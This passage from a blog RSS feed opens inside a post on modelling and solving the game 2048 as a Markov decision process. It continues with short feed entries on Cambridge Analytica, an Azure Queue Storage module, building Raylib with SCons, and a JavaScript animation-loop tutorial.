&lt;p&gt;It’s somewhat unfortunate that the diagram appears to imply that swiping up (&lt;code class="language-plaintext highlighter-rouge"&gt;U&lt;/code&gt;) from &lt;img src="/assets/2048/2x2_s0_1_1_0.svg" style="height: 2em;" /&gt; somehow leads to &lt;img src="/assets/2048/2x2_s0_1_1_1.svg" style="height: 2em;" /&gt;. However, the paradox is resolved if you read the arrows to also include a rotation or reflection as required to find the actual successor’s canonical state.&lt;/p&gt;

&lt;h3 id="equivalent-actions"&gt;Equivalent Actions&lt;/h3&gt;

&lt;p&gt;We can also observe that in the diagram above it does not actually matter which direction the player swipes from the state &lt;img src="/assets/2048/2x2_s0_1_1_0.svg" style="height: 2em;" /&gt; — the canonical successor states and their transition probabilities are the same for all of the actions. To see why, it helps to look at the ‘intermediate state’ after the player has swiped to move the tiles but before the game has added a new random tile:&lt;/p&gt;

&lt;p align="center"&gt;
&lt;img alt="Intermediate states resulting from moving left, right, up or down from the state - 2 2 -" src="/assets/2048/mdp_s0_1_1_0_move_states.svg" /&gt;
&lt;/p&gt;

&lt;p&gt;The intermediate states are drawn with dashed lines. The key observation is that they are all related by 90° rotations. These rotations don’t matter when we eventually canonicalize the successor states.&lt;/p&gt;

&lt;p&gt;More generally, if two or more actions have the same canonical ‘intermediate state’, then those actions must have identical canonical successor states and transition probabilities and therefore are equivalent. In the example above, the canonical intermediate state happens to be the last one, &lt;img alt="- - 2 2" src="/assets/2048/2x2_s0_0_1_1.svg" style="height: 2em;" /&gt;.&lt;/p&gt;

&lt;p&gt;We can therefore simplify the diagram for &lt;img src="/assets/2048/2x2_s0_1_1_0.svg" style="height: 2em;" /&gt; further if we just collapse all of the equivalent actions together:&lt;/p&gt;

&lt;p align="center"&gt;
&lt;img alt="Actions and transitions from the state - 2 2 - with successor state and action canonicalization" src="/assets/2048/mdp_s0_1_1_0_with_action_canonicalization.svg" /&gt;
&lt;/p&gt;

&lt;p&gt;Of course, states for which all actions are equivalent in this way are relatively rare. Considering another potential start state, &lt;img src="/assets/2048/2x2_s0_0_1_1.svg" style="height: 2em;" /&gt;, we see that swiping left and right are equivalent, but swiping up is distinct; swiping down is not allowed, because the tiles are already on the bottom.&lt;/p&gt;

&lt;p align="center"&gt;
&lt;img alt="Actions and transitions from the state - - 2 2 with successor state and action canonicalization" src="/assets/2048/mdp_s0_0_1_1_with_action_canonicalization.svg" /&gt;
&lt;/p&gt;

&lt;h3 id="mdp-model-diagrams-for-2x2-games"&gt;MDP Model Diagrams for 2x2 Games&lt;/h3&gt;

&lt;p&gt;Using canonicalization, we can shrink the models enough to just about draw out the full MDPs for some small games. Let’s again start with the smallest non-trivial model: the 2x2 game played just up to the &lt;code class="language-plaintext highlighter-rouge"&gt;8&lt;/code&gt; tile (&lt;a href="/assets/2048/mdp_2x2_3.svg"&gt;click to enlarge&lt;/a&gt;):&lt;/p&gt;

&lt;p align="center"&gt;
&lt;a href="/assets/2048/mdp_2x2_3.svg"&gt;&lt;img alt="Full MDP model for the 2x2 game up to the 8 tile" src="/assets/2048/mdp_2x2_3.svg" /&gt;&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;Compared to the figure without canonicalization, this is much more compact. We can see that the shortest possible game comprises only a single move: if we are lucky enough to start in the state &lt;img src="/assets/2048/2x2_s0_0_2_2.svg" style="height: 2em;" /&gt; with two adjacent &lt;code class="language-plaintext highlighter-rouge"&gt;4&lt;/code&gt; tiles, which happens in only one game in 150, we just need to merge them together to reach an &lt;code class="language-plaintext highlighter-rouge"&gt;8&lt;/code&gt; tile and the &lt;code class="language-plaintext highlighter-rouge"&gt;win&lt;/code&gt; state. On the other hand, we can see that it is still possible to lose: if from state &lt;img src="/assets/2048/2x2_s0_0_2_2.svg" style="height: 2em;" /&gt; the player swipes up, they reach &lt;img src="/assets/2048/2x2_s0_1_2_2.svg" style="height: 2em;" /&gt; with probability 0.9, and then if they swipe up again, they reach &lt;img src="/assets/2048/2x2_s2_1_1_2.svg" style="height: 2em;" /&gt; with probability 0.9, at which point the game is lost.&lt;/p&gt;

&lt;p&gt;We can further simplify the diagram if we know the optimal policy. Specifying the policy induces a Markov chain from the MDP model, because every state has a single action, or group of equivalent actions, identified by the policy. The induced chain for the 2x2 game to the &lt;code class="language-plaintext highlighter-rouge"&gt;8&lt;/code&gt; tile is:&lt;/p&gt;

&lt;p align="center"&gt;
&lt;a href="/assets/2048/mdp_2x2_3_optimal.svg"&gt;&lt;img alt="MDP model with only the optimal actions for the 2x2 game up to the 8 tile" src="/assets/2048/mdp_2x2_3_optimal.svg" /&gt;&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;We can see that the &lt;code class="language-plaintext highlighter-rouge"&gt;lose&lt;/code&gt; state no longer has any edges leading into it, because it is impossible to lose when playing optimally in the 2x2 game to the &lt;code class="language-plaintext highlighter-rouge"&gt;8&lt;/code&gt; tile. Each state is also now labelled with its value, which in this case is always 1.000. Because we’ve set the discount factor \(\gamma\) to 1, the value of a state is in fact the probability of winning from that state when playing optimally.&lt;/p&gt;

&lt;p&gt;They get a bit messier, but can build similar models for the 2x2 game to &lt;a href="/assets/2048/mdp_2x2_4.svg"&gt;the &lt;code class="language-plaintext highlighter-rouge"&gt;16&lt;/code&gt; tile&lt;/a&gt;:&lt;/p&gt;

&lt;p align="center"&gt;
&lt;a href="/assets/2048/mdp_2x2_4.svg"&gt;&lt;img alt="Full MDP model for the 2x2 game up to the 16 tile" src="/assets/2048/mdp_2x2_4.svg" /&gt;&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;If we look at the optimal policy for the game to the &lt;code class="language-plaintext highlighter-rouge"&gt;16&lt;/code&gt; tile, we see that the start states (in blue) all have values less than one, and that there are paths to the &lt;code class="language-plaintext highlighter-rouge"&gt;lose&lt;/code&gt; state, in particular from two states that have tile sum 14:&lt;/p&gt;

&lt;p align="center"&gt;
&lt;a href="/assets/2048/mdp_2x2_4_optimal.svg"&gt;&lt;img alt="MDP model with only the optimal actions for the 2x2 game up to the 16 tile" src="/assets/2048/mdp_2x2_4_optimal.svg" /&gt;&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;That is, even if we play this game to the &lt;code class="language-plaintext highlighter-rouge"&gt;16&lt;/code&gt; tile optimally, we can still lose, depending on the particular sequence of &lt;code class="language-plaintext highlighter-rouge"&gt;2&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;4&lt;/code&gt; tiles that the game deals us. In most cases, we will win, however — the values of the start states are all around 0.96, so we’d expect to win roughly 96 games out of a hundred.&lt;/p&gt;

&lt;p&gt;Our prospects in the game to the &lt;code class="language-plaintext highlighter-rouge"&gt;32&lt;/code&gt; tile on the 2x2 board, however, are much worse. Here is the full model:&lt;/p&gt;

&lt;p align="center"&gt;
&lt;a href="/assets/2048/mdp_2x2_5.svg"&gt;&lt;img alt="Full MDP model for the 2x2 game up to the 32 tile" src="/assets/2048/mdp_2x2_5.svg" /&gt;&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;We can see a lot of edges leading to the &lt;code class="language-plaintext highlighter-rouge"&gt;lose&lt;/code&gt; state, which is a bad sign. This is confirmed when we look at the diagram restricted to optimal play:&lt;/p&gt;

&lt;p align="center"&gt;
&lt;a href="/assets/2048/mdp_2x2_5_optimal.svg"&gt;&lt;img alt="MDP model with only the optimal actions for the 2x2 game up to the 32 tile" src="/assets/2048/mdp_2x2_5_optimal.svg" /&gt;&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;The average start state value is around 0.08, so we’d expect to win only about 8 games out of a hundred. The main reason becomes clear if we look at the right hand edge of the chain: once we reach a state with tile sum 28, the only way to win is to get a &lt;code class="language-plaintext highlighter-rouge"&gt;4&lt;/code&gt; tile in order to reach the state &lt;img src="/assets/2048/2x2_s2_2_3_4.svg" style="height: 2em;" /&gt;. If we get a &lt;code class="language-plaintext highlighter-rouge"&gt;2&lt;/code&gt; tile, which happens 90% of the time, we lose. It’s probably not a very fun game.&lt;/p&gt;

&lt;h2 id="appendix-b-solution-methods"&gt;Appendix B: Solution Methods&lt;/h2&gt;

&lt;p&gt;To efficiently solve an MDP model like the ones we’ve constructed here for 2048, we can exploit several important properties of its structure:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;The transition model is a &lt;a href="https://en.wikipedia.org/wiki/Directed_acyclic_graph"&gt;directed acyclic graph&lt;/a&gt; (DAG). The sum of the tiles must increase, namely by either 2 or 4, with each move, so it is never possible to go back to a state you have already visited.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Moreover, the states can be organized into ‘layers’ by the sums of their tiles, as we did in &lt;a href="#mdp_2x2_3_with_no_canonicalization"&gt;the first MDP model figure&lt;/a&gt;, and all transitions will be from the current layer with sum \(s\) to either the next layer, with sum \(s+2\), or the one after, with sum \(s+4\).&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;All states in the layer with the largest sum will transition to either a lose or win state, which have a known value, namely 0 or 1, respectively.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Property (3) means that we can loop through all of the states in the last layer, in which all successor values are known, to generate the value function for that last layer. Then, using property (2), we know that the states in the second last layer must transition to either states in the last layer, for which we have just calculated values, or to a win or lose state, which have known values. In this way we can work backward, layer by layer, always knowing the values of states in the next two layers; this allows us to build both the value function and the optimal policy for the current layer. In general, this approach to solving MDPs is called &lt;a href="https://en.wikipedia.org/wiki/Backward_induction"&gt;backward induction&lt;/a&gt;, which is a particular type of &lt;a href="https://en.wikipedia.org/wiki/Markov_decision_process#Algorithms"&gt;dynamic programming&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;In the &lt;a href="/articles/2017/12/10/counting-states-enumeration-2048.html#appendix-b-layers-and-mapreduce-for-parallelism"&gt;previous post&lt;/a&gt; we worked forward from the start states to enumerate all of the states, layer by layer, using a map-reduce approach to parallelize the work within each layer. For the solve, we can use the output of that enumeration, which is a large list of states, to work backward, again using a map-reduce approach to parallelize the work within each layer. And like last time we can further break up the layers into ‘parts’ by their maximum tile value, with some additional book keeping.&lt;/p&gt;

&lt;p&gt;The &lt;a href="https://github.com/jdleesmiller/twenty48/blob/3605cfaeba0a602d9917f84d1a2862afe4ad1bb6/ext/twenty48/layer_solver.hpp"&gt;main solver implementation&lt;/a&gt; is still fairly memory-intensive, because it has to keep the value functions for up to four parts in memory at once in order to process a given part in one pass. This can be reduced to one part in memory at a time if we calculate what is usually called \(Q^\pi(s,a)\), the value for each possible state-action pair according to policy \(\pi\), rather than \(V^\pi(s)\), but &lt;a href="https://github.com/jdleesmiller/twenty48/blob/3605cfaeba0a602d9917f84d1a2862afe4ad1bb6/ext/twenty48/layer_q_solver.hpp"&gt;that solver implementation&lt;/a&gt; proved to be much slower, so all of the results presented here use the main \(V^\pi\) solver on a machine with lots of RAM.&lt;/p&gt;

&lt;p&gt;With both solvers, the layered structure of the model allows us to build and solve a model in just one forward pass and one backward pass, which is a substantial improvement on the usual iterative solution method, and one of the reasons that we’re able to solve these fairly large MDP models with billions of states. The canonicalization methods in &lt;a href="#appendix-a-canonicalization"&gt;Appendix A&lt;/a&gt;, which reduce the number of states we need to consider, and the &lt;a href="/articles/2017/12/10/counting-states-enumeration-2048.html#appendix-a-bit-bashing-for-efficiency"&gt;low level efficiency gains&lt;/a&gt; from the previous post are also important reasons.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt; &lt;/p&gt;

&lt;p&gt;Thanks to &lt;a href="https://twitter.com/h0peth0mas"&gt;Hope Thomas&lt;/a&gt; for reviewing drafts of this article.&lt;/p&gt;

&lt;p&gt;If you’ve read this far, perhaps you should &lt;a href="https://twitter.com/jdleesmiller"&gt;follow me on twitter&lt;/a&gt;, or even apply to work at &lt;a href="https://www.overleaf.com/jobs"&gt;Overleaf&lt;/a&gt;. &lt;code class="language-plaintext highlighter-rouge"&gt;:)&lt;/code&gt;&lt;/p&gt;

&lt;h1 id="footnotes"&gt;Footnotes&lt;/h1&gt;







&lt;div class="footnotes"&gt;
  &lt;ol&gt;
    &lt;li id="fn:merging"&gt;
      &lt;p&gt;There is also some nuance in how tiles are merged: if you have four &lt;code class="language-plaintext highlighter-rouge"&gt;2&lt;/code&gt; tiles in a row, for example, and you swipe to merge them, the result is two &lt;code class="language-plaintext highlighter-rouge"&gt;4&lt;/code&gt; tiles, not a single &lt;code class="language-plaintext highlighter-rouge"&gt;8&lt;/code&gt; tile. That is, you can’t merge newly merged tiles in a single swipe. The original code for merging tiles &lt;a href="https://github.com/gabrielecirulli/2048/blob/ac03b1f01628038039b74b67f2e284b233bd143e/js/game_manager.js#L145-L180"&gt;is here&lt;/a&gt;, and the simplified but equivalent code I used to merge a line (row or column) of tiles &lt;a href="https://github.com/jdleesmiller/twenty48/blob/master/ext/twenty48/line.hpp#L29-L54"&gt;is here&lt;/a&gt; with &lt;a href="https://github.com/jdleesmiller/twenty48/blob/3605cfaeba0a602d9917f84d1a2862afe4ad1bb6/test/twenty48/common/line_with_known_tests.rb"&gt;tests here&lt;/a&gt;. &lt;a class="reversefootnote" href="#fnref:merging"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id="fn:dot"&gt;
      &lt;p&gt;The graph diagrams here come from the excellent &lt;code class="language-plaintext highlighter-rouge"&gt;dot&lt;/code&gt; tool in &lt;a href="http://www.graphviz.org/"&gt;graphviz&lt;/a&gt;. &lt;a class="reversefootnote" href="#fnref:dot"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id="fn:objectives"&gt;
      &lt;p&gt;There are several other possible objectives. For example, in the &lt;a href="/articles/2017/08/05/markov-chain-2048.html"&gt;first post&lt;/a&gt; in this series, I tried to reach the target &lt;code class="language-plaintext highlighter-rouge"&gt;2048&lt;/code&gt; tile in the smallest possible number of moves; and many people I’ve talked to play to reach the largest possible tile, which is also what the game’s points system encourages. These different objectives could also be captured by setting up the model and its rewards appropriately. For example, a simple reward of 1 per move until the player loses would represent the objective of playing as long as possible, which would I think be equivalent to trying to reach the largest possible tile. &lt;a class="reversefootnote" href="#fnref:objectives"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id="fn:absorbing"&gt;
      &lt;p&gt;Technically, we need one more special state, in addition to the &lt;code class="language-plaintext highlighter-rouge"&gt;win&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;lose&lt;/code&gt; states, to make this reward system work as described. The equations that we develop for \(\pi\) and \(V^\pi\) assume that all states have at least one allowed action and successor state, so we can’t just stop the process at the &lt;code class="language-plaintext highlighter-rouge"&gt;lose&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;win&lt;/code&gt; states. Instead, we can add an &lt;em&gt;absorbing state&lt;/em&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;end&lt;/code&gt;, with a trivial action that just brings the process back into the &lt;code class="language-plaintext highlighter-rouge"&gt;end&lt;/code&gt; state with probability one. Then we can add a trivial action to both the &lt;code class="language-plaintext highlighter-rouge"&gt;lose&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;win&lt;/code&gt; states to transition to the absorbing &lt;code class="language-plaintext highlighter-rouge"&gt;end&lt;/code&gt; state with probability 1. So long as the &lt;code class="language-plaintext highlighter-rouge"&gt;end&lt;/code&gt; state attracts zero reward, it will not change the outcome. It’s also worth mentioning that there are more general ways of defining an MDP that would provide other ways of working around this technicality, for example by making the rewards depend on the whole transition rather than just the state and by making policies stochastic which, as a side effect, means that we can handle states with no allowed actions, but they require more notation. &lt;a class="reversefootnote" href="#fnref:absorbing"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id="fn:discounting"&gt;
      &lt;p&gt;In addition to being &lt;a href="https://en.wikipedia.org/wiki/Time_preference"&gt;well founded&lt;/a&gt; in economic theory, the discount factor is often required technically in order to ensure that the value function converges. If the process runs forever and continues to accumulate additive rewards, it could accumulate infinite value. The geometric discounting ensures that the infinite sum still converges even if this happens. For the processes with the reward structure we’re considering here, we can safely set the discount factor to 1, because the process is constructed so that there are no loops with nonzero reward, and therefore all rewards are bounded. &lt;a class="reversefootnote" href="#fnref:discounting"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id="fn:missing"&gt;
      &lt;p&gt;There is a caveat for the 3x3 and 4x4 policies: the full optimal policies for every state are too large to ship to the browser (without unduly imposing on GitHub’s generosity in hosting this website). The player therefore only has access to the policy for the states that have a probability of at least \(10^{-7}\) of actually occurring when playing according to the optimal policy. This means that, unfortunately, roughly one in hundred readers will choose a random seed that takes the process to a state that is not included in the data available on the client, in which case it will stop with an error. These states are selected by calculating the transient probabilities for the absorbing Markov chain induced by the optimal policy. The mathematics are essentially the same as those in &lt;a href="/articles/2017/08/05/markov-chain-2048.html"&gt;the first post about Markov chains for 2048&lt;/a&gt;. &lt;a class="reversefootnote" href="#fnref:missing"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id="fn:me"&gt;
      &lt;p&gt;Of course, I’m not claiming here to be great at 2048. The &lt;a href="/articles/2017/08/05/markov-chain-2048.html#putting-theory-to-the-test"&gt;data in my first post&lt;/a&gt; suggest otherwise! &lt;a class="reversefootnote" href="#fnref:me"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;</description><author>jdlm.info</author><pubDate>Mon, 19 Mar 2018 01:00:00 GMT</pubDate><guid isPermaLink="true">http://jdlm.info/articles/2018/03/18/markov-decision-process-2048.html</guid></item><item><title>THIS is all you need to know about Cambridge Analytica</title><link>https://stop.zona-m.net/2018/03/this-is-all-you-need-to-know-about-cambridge-analytica/</link><description>&lt;p&gt;In my humble opinion, THE one thing you should know about the Cambridge Analytica scandal is that&amp;hellip;&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sun, 18 Mar 2018 17:40:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/03/this-is-all-you-need-to-know-about-cambridge-analytica/</guid></item><item><title>5000 concepts for Europe: update 2018/03/18</title><link>https://stop.zona-m.net/2018/03/5000-concepts-for-europe-update-2018/03/18/</link><description>&lt;p&gt;Below please find the &lt;strong&gt;over FIVE HUNDRED&lt;/strong&gt; suggestions received so far for my proposal of a &lt;a href="https://stop.zona-m.net/2017/12/5000-concepts-for-europe-a-book-proposal"&gt;&amp;ldquo;5000 concepts for Europe&amp;rdquo; book&lt;/a&gt;. With respect to the &lt;a href="https://stop.zona-m.net/tag/5000-concepts"&gt;last update&lt;/a&gt;, there are quite interesting quotes about Europe, more entries from or about Eastern Europe, music, philosophy, economy and science. Check them out!&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sun, 18 Mar 2018 17:30:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/03/5000-concepts-for-europe-update-2018/03/18/</guid></item><item><title>Azure Queue Storage input module</title><link>https://smetj.net/azure_queue_storage_input_module.html</link><description>&lt;p&gt;Microsoft's &lt;a class="reference external" href="https://azure.microsoft.com/en-us/services/storage/queues/"&gt;Azure Queue Storage&lt;/a&gt; service provides cloud messaging between
application components. Queue storage delivers asynchronous messaging for
communication between application components, whether they are running in the
cloud, on the desktop, on an on-premises server, or on a mobile device. Queue
storage also supports managing asynchronous tasks and building process …&lt;/p&gt;</description><author>Jelle Smet</author><pubDate>Sun, 18 Mar 2018 16:00:00 GMT</pubDate><guid isPermaLink="true">https://smetj.net/azure_queue_storage_input_module.html</guid></item><item><title>Compiling Raylib programs with SCons</title><link>https://ciesie.com/post/building_raylib_with_scons/</link><description>&lt;p&gt;If you like writing programs in C, are interested in game development and don&amp;rsquo;t enjoy all those
complicated and ancient build systems I think I&amp;rsquo;ve got something of interest to you. I belive there
is something enjoyable in the simple setup I&amp;rsquo;m describing below. Hope you will enjoy as well.&lt;/p&gt;
&lt;h2 id="raylib"&gt;Raylib&lt;a href="#raylib"&gt; &amp;lt;&lt;/a&gt;
  
&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://www.raylib.com/"&gt;Raylib&lt;/a&gt; is a C library made by &lt;a href="https://twitter.com/raysan5"&gt;@Ray San&lt;/a&gt;.
On the Raylib&amp;rsquo;s website it says &amp;lsquo;&lt;em&gt;raylib is a simple and easy-to-use library to learn video games programming&lt;/em&gt;&amp;rsquo;.
Whole API can be browsed &lt;a href="https://www.raylib.com/cheatsheet/cheatsheet.html"&gt;here&lt;/a&gt;.
It does abstract a lot of things important for game developement. It&amp;rsquo;s important to note because if
you chose to write something in C, performance is something you might care about.
High level abstraction usually takes a toll on performance. In this case mostly because you are not
tuning small parts of your code to suit your needs. Raylib wants to abstract those parts to make the
learning easier. In the end you have the power of C (which basically allows you to write &lt;em&gt;performant&lt;/em&gt; code)
and high level abstraction Raylib library provides you.
That&amp;rsquo;s a good starting point to write cool software, enjoyable for the end user.&lt;/p&gt;</description><author>ciesie.com</author><pubDate>Sun, 18 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ciesie.com/post/building_raylib_with_scons/</guid></item><item><title>JavaScript animation loop</title><link>https://muffinman.io/blog/javascript-animation-loop/</link><description>&lt;article class="article"&gt;&lt;p&gt;I&amp;#x27;ve been really busy lately, doing both work and pet projects.
At the moment I&amp;#x27;m playing with &lt;a href="https://threejs.org/"&gt;three.js&lt;/a&gt; trying to
&lt;a href="https://codepen.io/stanko/full/jZROmX/"&gt;clone old DOS game&lt;/a&gt; to JavaScript.
Games (and animations in general) need animation loop in which we are going to update the scene and re-render it.&lt;/p&gt;
&lt;p&gt;Example animations are simplified and they just move a box 60px per second.
But the concepts applied are universal and can be used for more complicated real life cases.&lt;/p&gt;
&lt;h2 id="timing-problem"&gt;Timing problem &lt;a class="anchor-link" href="#timing-problem"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;We all know that animating should be done using &lt;code&gt;requestAnimationFrame&lt;/code&gt;.
My first attempt ended up being naive and it looked something like this:&lt;/p&gt;
&lt;pre class="language-js"&gt;&lt;code class="language-js code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;const&lt;/span&gt; box &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token dom variable"&gt;document&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token method function property-access"&gt;querySelector&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token string"&gt;&amp;#x27;.Box&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token comment"&gt;// Initial position&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;let&lt;/span&gt; position &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token number"&gt;0&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;function&lt;/span&gt; &lt;span class="token function"&gt;animate&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token comment"&gt;// Updating scene logic&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token comment"&gt;// moving box for one pixel per frame&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token comment"&gt;// &amp;quot;requestAnimationFrame&amp;quot; is optimized for 60fps&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token comment"&gt;// so we should get smooth movement of 60px per second&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  position &lt;span class="token operator"&gt;+=&lt;/span&gt; &lt;span class="token number"&gt;1&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token comment"&gt;// Render updated scene&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  box&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token property-access"&gt;style&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token property-access"&gt;transform&lt;/span&gt; &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token template-string"&gt;&lt;span class="token template-punctuation string"&gt;`&lt;/span&gt;&lt;span class="token string"&gt;translateX(&lt;/span&gt;&lt;span class="token interpolation"&gt;&lt;span class="token interpolation-punctuation punctuation"&gt;${&lt;/span&gt; position &lt;span class="token interpolation-punctuation punctuation"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class="token string"&gt;px)&lt;/span&gt;&lt;span class="token template-punctuation string"&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token comment"&gt;// Start next frame&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token function"&gt;requestAnimationFrame&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;animate&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token comment"&gt;// Start animation&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token function"&gt;animate&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;At the first glance this looks fine. But it has one major problem.
&lt;code&gt;requestAnimationFrame&lt;/code&gt; is usually triggered 60 times per second, but often this is not the case.
For example, the most browsers will pause it if tab goes to background.
Busy (or low-end) CPU will also slow it down.&lt;/p&gt;
&lt;p&gt;Imagine for some reason that is does get triggered only
&lt;span class="sidenote__text" tabindex="0"&gt;10 times per second.&lt;/span&gt;&lt;span class="sidenote__note"&gt;&lt;span class="sidenote__note-inner"&gt;&lt;span class="sidenote__note-text"&gt;In the example bellow I faked it by using 100ms &lt;code&gt;setTimeout&lt;/code&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
In that case our box will be moved by 1px every 100ms, ending up on 10px per second.&lt;/p&gt;

&lt;p&gt;This means our animation speed is relative to how many times &lt;code&gt;requestAnimationFrame&lt;/code&gt; is called per second.&lt;/p&gt;
&lt;p&gt;That is the big timing problem we are trying to solve.
Our animation should calculate the right position based on time passed,
rather then just incrementing it by 1px each update.&lt;/p&gt;
&lt;h2 id="delta-time-to-the-rescue"&gt;Delta time to the rescue &lt;a class="anchor-link" href="#delta-time-to-the-rescue"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Now we know what to do - adjust the position based on time passed between two updates.
Every time we are doing the update, we are going to calculate how much time has passed
since the last update.&lt;/p&gt;
&lt;p&gt;To get movement of 60px per second, we need to move our box by 1px every ~16.66ms
(single frame duration for 60fps).
Number of frames passed is calculated by dividing delta time by a frame duration.&lt;/p&gt;
&lt;p&gt;If we apply it to the previous 100ms (10fps) example, we&amp;#x27;ll get delta time of 100ms.
Dividing it by 16.66 gives us delta frame of 6 (100ms / 16.66ms),
meaning that 6 frames has passed since we last updated the scene.&lt;/p&gt;
&lt;p&gt;Only thing left to do is to adjust the position of our box,
by multiplying 1px by delta frame.
This will give us movement of 6px per 100ms,
which is the exactly what we are trying to achieve (60px per second).&lt;/p&gt;
&lt;pre class="language-js"&gt;&lt;code class="language-js code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;const&lt;/span&gt; &lt;span class="token constant"&gt;FRAME_DURATION&lt;/span&gt; &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token number"&gt;1000&lt;/span&gt; &lt;span class="token operator"&gt;/&lt;/span&gt; &lt;span class="token number"&gt;60&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt; &lt;span class="token comment"&gt;// 60fps frame duration ~16.66ms&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token comment"&gt;// If available we are using native &amp;quot;performance&amp;quot; API instead of &amp;quot;Date&amp;quot;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token comment"&gt;// Read more about it on MDN:&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token comment"&gt;// https://developer.mozilla.org/en-US/docs/Web/API/Performance&lt;/span&gt;
